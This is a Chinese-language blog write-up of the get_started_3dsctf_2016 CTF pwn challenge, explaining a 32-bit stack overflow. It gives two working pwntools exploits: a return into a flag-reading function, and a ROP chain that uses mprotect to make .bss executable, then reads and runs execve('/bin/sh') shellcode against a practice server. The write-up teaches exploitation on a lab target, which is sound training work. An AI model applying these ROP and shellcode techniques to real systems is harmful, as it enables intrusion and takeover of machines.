• get_started_3dsctf_2016


    题外:这道题不是很难,但是却难住了我很久。主要是在IDA中查看反编译出的伪代码时双击了一下gets()函数,结果进入gets函数内部,我当时就懵了,误以为这是一个自定义函数,但是自定义函数应该应该不能与已有的库函数同名啊。虽然有此疑问,我没有深究,而是老老实实分析反汇编出来的伪代码,结果发现函数层层嵌套,根本分析不完。最后我不得以去网上看了别人的题解,发现根本不用管这些。题最后做出来了,但还是不明白为啥会有这么一大串代码。

    ----------------------------------------------------------------------------------------------------

    解法一:

    先分析题目的二进制文件

     可以看出这是32位程序,没有看cannary和PIE保护,接下来把程序放入IDA中看看。

     程序很简单,存在明显的栈溢出。细心的小伙伴还可以发现程序直接给了一个拿flag的函数,如下:

     但是这个函数中有if条件限制,不好直接跳转到这个函数。这个时候就可以选择直接跳转到if语句块里,从而绕过if的检查。这么的做的弊端是导致栈不平衡,执行完这个函数后程序会崩溃,不过这之前我们已经拿到flag了,所以这题是没有什么关系的。最后exp如下:

    from pwn import *
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    elf = ELF('./get_started_3dsctf_2016')
    sh = elf.process()
    get_flag = 0x080489b8
    payload_01 = 'A'*0x38 + p32(get_flag)
    gdb.attach(sh)
    sh.sendline(payload_01)
    sh.interactive('countfatcode> ')
    

     这样写在本机上是能跑的,但是打远程的时候汇出错,我也不知道为什么。

    解法二:

    细心的小伙伴可以发现题目里有mprotect函数,这个函数可以改变程序内存空间的读写执行权限。具体的用法如下:

    int mprotect(const void *start, size_t len, int prot);
    参数start表示开始的内存地址,len是要操作的内存大小,prot表示权限
    

     所以我们先用mrotect函数把.bss中的一部分改为可执行,用调用read函数向其中写入shellcode,最后再跳转到shellcode出执行。具体的exp如下:

    from pwn import *
    context(os = 'linux', arch = 'i386', log_level = 'debug')
    context.terminal = ['tmux', 'splitw', '-h']
    # p = process('./get_started_3dsctf_2016')
    p = remote('node3.buuoj.cn', 25626)
    
    elf = ELF('./get_started_3dsctf_2016')
    
    mprotect_addr = 0x0806ec80
    read_addr = elf.symbols['read']
    pop3_addr = 0x080509a5
    payload = 'A'*0x38 + p32(mprotect_addr) + p32(pop3_addr) + p32(0x080ea000) + p32(0x2000) + p32(0x7) + p32(read_addr) + p32(0x080eb000)
    payload += p32(0) + p32(0x080eb000) + p32(0x100)
    
    #gdb.attach(p)
    p.sendline(payload)
    sleep(1)
    
    shellcode = asm('''
            mov edx, 0
            mov ecx, 0
            push 0x68732f
            push 0x6e69622f
            mov ebx, esp
            mov eax, 0xb
            int 0x80
    ''')
    p.sendline(shellcode)
    p.interactive()
    
  • 相关阅读:
    linux如何给程序添加自启动
    nginx 反向代理apache服务器 配置java与PHP共存环境
    eclipse配置Js环境spket
    Linux下实现秒级定时任务的两种方案
    Linux时间戳和标准时间的互转
    thinkphp与php共享session
    安装PHP sphinx扩展 sphinx-1.1.0/sphinx.c:105:2: error: too few arguments 错误
    MySQLCouldn't find MySQL manager
    PHP 使用header函数设置HTTP头的示例方法 表头 (xlsx下载)
    JAVA正则表达式 Pattern和Matcher
  • 原文地址:https://www.cnblogs.com/countfatcode/p/12210017.html
Copyright © 2020-2023  润新知